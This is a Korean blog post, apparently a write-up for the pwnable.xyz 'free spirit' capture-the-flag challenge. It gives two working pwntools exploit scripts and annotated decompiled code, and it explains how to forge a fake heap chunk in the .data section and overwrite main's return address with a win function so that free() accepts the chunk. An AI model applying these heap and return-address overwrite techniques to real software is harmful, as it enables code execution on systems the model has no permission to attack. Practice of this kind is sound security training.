security/포너블 - pwnable.xyz

pwnable.xyz - free spirit

민사민서 2023. 2. 5. 04:10
from pwn import *
# context.log_level = 'debug'
p = remote("svc.pwnable.xyz", 30005)
# p = process("./challenge")

# pwndbg 터미널 열리면 거기서 bp 세팅하고 c 입력 후 원래 터미널에서 아무키나 입력 (동적분석!!!!)
# 그러면 파이썬 코드 실행되고 bp에서 멈출 것. free() 근처에서 분석하자
# gdb.attach(p)
# pause()

win = 0x400a3e
# 위치 안변하고, write 가능한 바이너리의 .data영역 (0x601000~0x602000)에 fake_chunk 만들자
# 0x601010, 0x601020 에는 stdin,stdout 관련 데이터 들어있으므로 0x601030 부터 ~~
fake_chunk = 0x601030

p.sendafter("> ", "2")
retAddr = int(p.recvline()[:-1], 16) + 0x58
print(hex(retAddr))

p.sendafter("> ", "1")
p.send(b'A'*8+p64(fake_chunk+8))
p.sendafter("> ", "3")

p.sendafter("> ", "1")
# chunk size는 0x20 이상이면 어떤 값이든 상관없음 (prev_inuse 플래그 여부도 상관없음)
# chunk size 대신 다른 값 입력하면 오류 뜸
p.send(p64(0x31)+p64(retAddr))
p.sendafter("> ", "3")

p.sendafter("> ", "1")
p.send(p64(win)+p64(fake_chunk+0x10))
p.sendafter("> ", "3")

p.sendafter("> ", "0")
p.interactive()




 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rdi
  __int64 i; // rcx
  int v5; // eax
  signed __int64 v6; // rax
  __m128i v8; // [rsp+8h] [rbp-60h] BYREF
  char nptr[48]; // [rsp+18h] [rbp-50h] BYREF
  unsigned __int64 v10; // [rsp+48h] [rbp-20h]

  v10 = __readfsqword(0x28u);
  setup(argc, argv, envp);
// 0x40 크기의 chunk 할당, [rsp+0x10]에 8바이트 주소 저장 
  v8.m128i_i64[1] = (__int64)malloc(0x40uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      _printf_chk(1LL, "> ");
// v3가 48B 배열 nptr 가리킴
      v3 = nptr;
// nptr 48바이트 모두 0으로 초기화 
      for ( i = 12LL; i; --i )
      {
        *(_DWORD *)v3 = 0;
        v3 += 4;
      }
// 48바이트를 입력받아서 v5에 정수 저장
      read(0, nptr, 0x30uLL);
      v5 = atoi(nptr);
      if ( v5 != 1 )
        break;
// 1 입력 시 -> malloc된 chunk에 0x20바이트 쓸 수 있음 (stdin)
      v6 = sys_read(0, (char *)v8.m128i_i64[1], 0x20uLL);
    }
// 그리고 while문 탈출
    if ( v5 <= 1 )
      break;
    if ( v5 == 2 )
    {
// 2 입력 시 -> malloc된 chunk의 8B 주소 출력 (stdout)
      _printf_chk(1LL, "%p\n", &v8.m128i_u64[1]);
    }
// 3 입력 시 -> chunk로부터 v8에 16바이트를 load한다, 즉 [rsp+0x10] chunk 주소도 overwrite 가능 
    else if ( v5 == 3 )
    {
      if ( (unsigned int)limit <= 1 )
        v8 = _mm_loadu_si128((const __m128i *)v8.m128i_i64[1]);
    }
// 1,2,3 아닐 시 Invalid
    else
    {
LABEL_16:
      puts("Invalid");
    }
  }
// 0 입력한 게 아니면 다시 while문으로 복귀
  if ( v5 )
    goto LABEL_16;
  if ( !v8.m128i_i64[1] )
    exit(1);
// free한다
  free((void *)v8.m128i_i64[1]);
  return 0;
}

Full RELRO      Canary found      NX enabled    No PIE (No PIE!!!)
- win함수(0x400A3E) 호출하면 됨
- Partial RELRO: .got.plt 영역에 쓰기권한 존재 -> GOT overwrite 가능
- Full RELRO: libc.so에 구현된 __free_hook 이용 (libc.so의 .bss 섹션에 속하는데, write 가능)

* free hook 주소 찾는법
p __free_hook 해서는 0x0만 뜸 (free_hook으로 지정된 후킹 함수가 없으므로)
p/x &__free_hook 하거나 x/x &__free_hook 해서 주소 파악하자

- 하지만 libc_base leak할 방법이 마땅치 않아서 pass
- leak되는 주소는 스택 주소 -> main함수의 RET을 덮어써보자
- 함수 에필로그 보면
   0x00000000004008d4 <+276>:  call   0x400770 <__stack_chk_fail@plt> ; [rsp+0x48] 카나리 검사
   0x00000000004008d9 <+281>:  add    rsp,0x50
   0x00000000004008dd <+285>:  pop    rbx ; rbx=rsp+0x50에 저장
   0x00000000004008de <+286>:  pop    rbp ; rbp=rsp+0x58에 저장
   0x00000000004008df <+287>:  pop    r12 ; r12=rsp+0x60에 저장
   0x00000000004008e1 <+289>:  ret        ; RET=rsp+0x68에 저장
- v8.m128i_i64[1] 과 RET 간 거리 = 0x58
- [rsp+0x8]을 [Dummy 8B+RET 주소]로 덮은 뒤, RET 주소에 win() 주소 덮어쓰고, main 종료
- 로컬에서 테스트해보니 free(): invalid pointer 라고 나온다
- gdb.attach(p); pause; 해서 free() 함수 호출 직전에 bp 걸고 동적 분석해보자

► 0x4008bd <main+253>    call   free@plt                      <free@plt>
        ptr: 0x7ffd24693588 —▸ 0x400a3e (win) ◂— lea rdi, [rip + 0x8f]
ptr이 가리키는 chunk가 이상하네~

- 바이너리 .data 섹션에 fake chunk 만들자: prev_size/size/data~ 구조이므로
- [Dummy 8B + (fake_chunk+0x8)] 입력 후 적용
- [(chunk size) + (RET addr)] 입력 후 적용 // fake_chunk 메타데이터 채운다
// prev_size는 이미 0 들어가있으므로 건들 필요 x
- [(win addr) + (fake_chunk+0x10)] 입력 후 적용 // RET overwrite 후 free될 chunk는 fake chunk로~

 

다른 블로그 풀이들 보니까 코드 초반 malloc(0x50) 됐을 때의 heap 상황처럼 top chunk 까지 구현했더라...

(힙은 런타임시에 호출한 후에 0x21000만큼 미리 메모리 영역을 할당한 뒤 이 사이즈 안에서 사용)

(top chunk size = 0x21000 - 할당한 chunk size)

 

다른 블로그 풀이대로 코드를 짜보면 

p.sendafter("> ", "1")
p.send(b'A'*8+p64(retAddr))
p.sendafter("> ", "3")

p.sendafter("> ", "1")
p.send(p64(win)+p64(fake_chunk+0x8)) # RET overwrite
p.sendafter("> ", "3")

p.sendafter("> ", "1")
p.send(p64(0x31)+p64(fake_chunk+0x38)) # fake chunk
p.sendafter("> ", "3")

p.sendafter("> ", "1")
p.send(p64(0x21000-0x30+0x1)+p64(fake_chunk+0x10)) # fale top chunk
p.sendafter("> ", "3")

p.sendafter("> ", "0")
p.interactive()

 

'security > 포너블 - pwnable.xyz' 카테고리의 다른 글

pwnable.xyz - Jmp table  (0) 2023.02.05
pwnable.xyz - TLSv00  (0) 2023.02.05
pwnable.xyz - xor  (0) 2023.02.05
pwnable.xyz - two targets  (0) 2023.02.05
pwnable.xyz - note  (0) 2023.02.05